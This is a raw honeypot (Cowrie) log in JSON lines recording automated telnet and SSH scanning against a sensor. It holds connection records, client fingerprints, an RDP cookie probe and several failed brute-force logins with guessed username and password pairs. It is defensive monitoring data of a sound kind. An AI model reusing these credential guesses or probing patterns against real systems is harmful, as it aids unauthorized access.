{"eventid":"cowrie.session.closed","duration":120.00122022628784,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:14.345703Z","src_ip":"152.42.224.71","session":"e06363d103f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.73714327812195,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:14.709926Z","src_ip":"152.42.224.71","session":"c5e1b06b09c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.26316142082214,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:16.446693Z","src_ip":"152.42.224.71","session":"08d87157ff2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55170,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ccdef93f9b","protocol":"telnet","message":"New connection: 152.42.224.71:55170 (10.17.0.5:23) [session: 46ccdef93f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:20.603009Z"}
{"eventid":"cowrie.session.closed","duration":43.35043525695801,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:21.604820Z","src_ip":"152.42.224.71","session":"912e61cec8b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55172,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a96d5e56e3a","protocol":"telnet","message":"New connection: 152.42.224.71:55172 (10.17.0.5:23) [session: 6a96d5e56e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:22.309225Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58171,"dst_ip":"10.17.0.5","dst_port":22,"session":"825810573343","protocol":"ssh","message":"New connection: 152.42.212.128:58171 (10.17.0.5:22) [session: 825810573343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:29.768830Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:29.773916Z","src_ip":"152.42.212.128","session":"825810573343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:29.777719Z","src_ip":"152.42.212.128","session":"825810573343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":40518,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f2f7a5a623","protocol":"ssh","message":"New connection: 47.237.167.49:40518 (159.203.135.109:22) [session: f3f2f7a5a623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:30.917309Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47360,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a4d5d6e18c","protocol":"telnet","message":"New connection: 152.42.224.71:47360 (10.17.0.5:23) [session: c0a4d5d6e18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:35.134959Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47356,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b428eaec3ba","protocol":"telnet","message":"New connection: 152.42.224.71:47356 (10.17.0.5:23) [session: 8b428eaec3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:36.145984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:37.380595Z","src_ip":"47.237.167.49","session":"f3f2f7a5a623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:37.384087Z","src_ip":"47.237.167.49","session":"f3f2f7a5a623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52769,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc9ff7028088","protocol":"ssh","message":"New connection: 167.172.81.52:52769 (159.203.135.109:22) [session: bc9ff7028088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:38.266542Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:38.276607Z","src_ip":"167.172.81.52","session":"bc9ff7028088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:38.281233Z","src_ip":"167.172.81.52","session":"bc9ff7028088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df0414044bc","protocol":"telnet","message":"New connection: 152.42.224.71:40924 (10.17.0.5:23) [session: 6df0414044bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:38.904230Z"}
{"eventid":"cowrie.session.closed","duration":120.0008692741394,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:39.340548Z","src_ip":"152.42.224.71","session":"c198ffd3e8b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40936,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a262e680662","protocol":"telnet","message":"New connection: 152.42.224.71:40936 (10.17.0.5:23) [session: 3a262e680662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:40.257093Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:41.934992Z","src_ip":"47.237.167.49","session":"c2d9b74b639b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.975391149520874,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:42.154253Z","src_ip":"152.42.224.71","session":"9b8b97a826d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":58050,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd9375ace514","protocol":"ssh","message":"New connection: 43.128.86.117:58050 (159.203.135.109:22) [session: bd9375ace514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:42.548261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:42.553111Z","src_ip":"43.128.86.117","session":"bd9375ace514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:42.801328Z","src_ip":"43.128.86.117","session":"bd9375ace514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1234","message":"login attempt [vpn/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:43.814329Z","src_ip":"43.128.86.117","session":"bd9375ace514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.05238223075867,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:44.307443Z","src_ip":"152.42.224.71","session":"d3af464ddf4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:45.062788Z","src_ip":"43.128.86.117","session":"bd9375ace514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36720,"dst_ip":"10.17.0.5","dst_port":23,"session":"916f6e20ca7e","protocol":"telnet","message":"New connection: 152.42.224.71:36720 (10.17.0.5:23) [session: 916f6e20ca7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:52.988649Z"}
{"eventid":"cowrie.session.closed","duration":38.799038887023926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:53.139924Z","src_ip":"152.42.224.71","session":"ce7202364ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36730,"dst_ip":"10.17.0.5","dst_port":23,"session":"749d1d9d57e6","protocol":"telnet","message":"New connection: 152.42.224.71:36730 (10.17.0.5:23) [session: 749d1d9d57e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:53.999483Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47430,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d95feb80d5a","protocol":"telnet","message":"New connection: 152.42.224.71:47430 (10.17.0.5:23) [session: 9d95feb80d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:57.815392Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47444,"dst_ip":"10.17.0.5","dst_port":23,"session":"60489b082eac","protocol":"telnet","message":"New connection: 152.42.224.71:47444 (10.17.0.5:23) [session: 60489b082eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:00.491558Z"}
{"eventid":"cowrie.session.closed","duration":39.910706996917725,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:02.219831Z","src_ip":"152.42.224.71","session":"6a96d5e56e3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.402013301849365,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:02.547901Z","src_ip":"152.42.224.71","session":"8b428eaec3ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:12.199654Z","src_ip":"47.237.167.49","session":"f3f2f7a5a623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.9","message":"Connection lost after 43.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:14.832130Z","src_ip":"47.237.167.49","session":"f3f2f7a5a623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c8330999cb","protocol":"telnet","message":"New connection: 152.42.224.71:51542 (10.17.0.5:23) [session: 41c8330999cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:15.473839Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34716,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d761d0940e","protocol":"telnet","message":"New connection: 152.42.224.71:34716 (10.17.0.5:23) [session: 08d761d0940e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:17.519372Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aae75699fdd","protocol":"telnet","message":"New connection: 152.42.224.71:34728 (10.17.0.5:23) [session: 5aae75699fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:18.241924Z"}
{"eventid":"cowrie.session.closed","duration":39.043381214141846,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:19.300302Z","src_ip":"152.42.224.71","session":"3a262e680662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34738,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec6d6862b4e","protocol":"telnet","message":"New connection: 152.42.224.71:34738 (10.17.0.5:23) [session: eec6d6862b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:23.816244Z"}
{"eventid":"cowrie.session.closed","duration":120.0029034614563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:25.675925Z","src_ip":"152.42.224.71","session":"b782dda1bc8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41826,"dst_ip":"10.17.0.5","dst_port":23,"session":"db37e9a45e6b","protocol":"telnet","message":"New connection: 152.42.224.71:41826 (10.17.0.5:23) [session: db37e9a45e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:25.913065Z"}
{"eventid":"cowrie.session.closed","duration":120.00245499610901,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:27.444224Z","src_ip":"152.42.224.71","session":"fd9736236cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f7c134776b","protocol":"telnet","message":"New connection: 152.42.224.71:41838 (10.17.0.5:23) [session: 54f7c134776b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:28.474468Z"}
{"eventid":"cowrie.session.closed","duration":120.00092959403992,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:28.655740Z","src_ip":"152.42.224.71","session":"b78ad8fa2256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45780,"dst_ip":"10.17.0.5","dst_port":22,"session":"13ab72cc47c2","protocol":"ssh","message":"New connection: 77.94.47.83:45780 (10.17.0.5:22) [session: 13ab72cc47c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:29.595648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:29.601172Z","src_ip":"77.94.47.83","session":"13ab72cc47c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:29.726348Z","src_ip":"77.94.47.83","session":"13ab72cc47c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8123123","message":"login attempt [root/8123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:30.102010Z","src_ip":"77.94.47.83","session":"13ab72cc47c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00110363960266,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:30.242359Z","src_ip":"152.42.224.71","session":"98b2623314d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:31.229681Z","src_ip":"77.94.47.83","session":"13ab72cc47c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.93343234062195,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:31.837547Z","src_ip":"152.42.224.71","session":"6df0414044bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41850,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c775cc1a306","protocol":"telnet","message":"New connection: 152.42.224.71:41850 (10.17.0.5:23) [session: 8c775cc1a306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:33.953587Z"}
{"eventid":"cowrie.session.closed","duration":37.89419078826904,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:35.709456Z","src_ip":"152.42.224.71","session":"9d95feb80d5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00175666809082,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:36.112081Z","src_ip":"152.42.224.71","session":"15def916db3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":33100,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab501017fd72","protocol":"ssh","message":"New connection: 47.237.167.49:33100 (159.203.135.109:22) [session: ab501017fd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:41.867532Z"}
{"eventid":"cowrie.session.closed","duration":50.275561571121216,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:43.264093Z","src_ip":"152.42.224.71","session":"916f6e20ca7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49594,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb4a073b0cd","protocol":"telnet","message":"New connection: 152.42.224.71:49594 (10.17.0.5:23) [session: fbb4a073b0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:47.654675Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49598,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2fa2b150ea5","protocol":"telnet","message":"New connection: 152.42.224.71:49598 (10.17.0.5:23) [session: f2fa2b150ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:51.806356Z"}
{"eventid":"cowrie.session.closed","duration":38.45824217796326,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:53.931970Z","src_ip":"152.42.224.71","session":"41c8330999cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48492,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ffda70794e4","protocol":"telnet","message":"New connection: 152.42.224.71:48492 (10.17.0.5:23) [session: 7ffda70794e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:56.776828Z"}
{"eventid":"cowrie.session.closed","duration":29.736258029937744,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:18:58.210650Z","src_ip":"152.42.224.71","session":"54f7c134776b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.82034754753113,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:00.636457Z","src_ip":"152.42.224.71","session":"eec6d6862b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48506,"dst_ip":"10.17.0.5","dst_port":23,"session":"771239f54787","protocol":"telnet","message":"New connection: 152.42.224.71:48506 (10.17.0.5:23) [session: 771239f54787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:03.012230Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33694,"dst_ip":"10.17.0.5","dst_port":23,"session":"89fad4f8fcd4","protocol":"telnet","message":"New connection: 152.42.224.71:33694 (10.17.0.5:23) [session: 89fad4f8fcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:19:08.748812Z"}
